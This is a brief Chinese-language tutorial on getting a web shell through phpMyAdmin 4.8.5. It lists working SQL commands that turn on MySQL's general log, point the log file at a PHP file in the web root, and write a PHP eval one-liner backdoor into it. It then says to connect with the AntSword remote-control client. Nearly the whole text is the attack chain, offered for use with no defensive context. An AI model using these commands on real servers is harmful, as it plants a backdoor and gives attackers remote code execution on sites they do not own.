phpmyadmin后台getshell( 4.8.5)

一.进入sql命令输入界面:

二.上传马子:

先去开启它的日志

set global general_log='on';

然后改变它的日志存储位置方便上马(要根据实际情况更改路径)

set global general_log_file ="C:/phpstudy_pro/WWW/she.php";

然后通过查询我们的一句话使日志里面出现我们的一句话

select "<?php eval($_POST['x'])?>"；

然后去浏览器访问一些我们文件,可以成功访问就可以使用远控(中国蚁剑)getshell了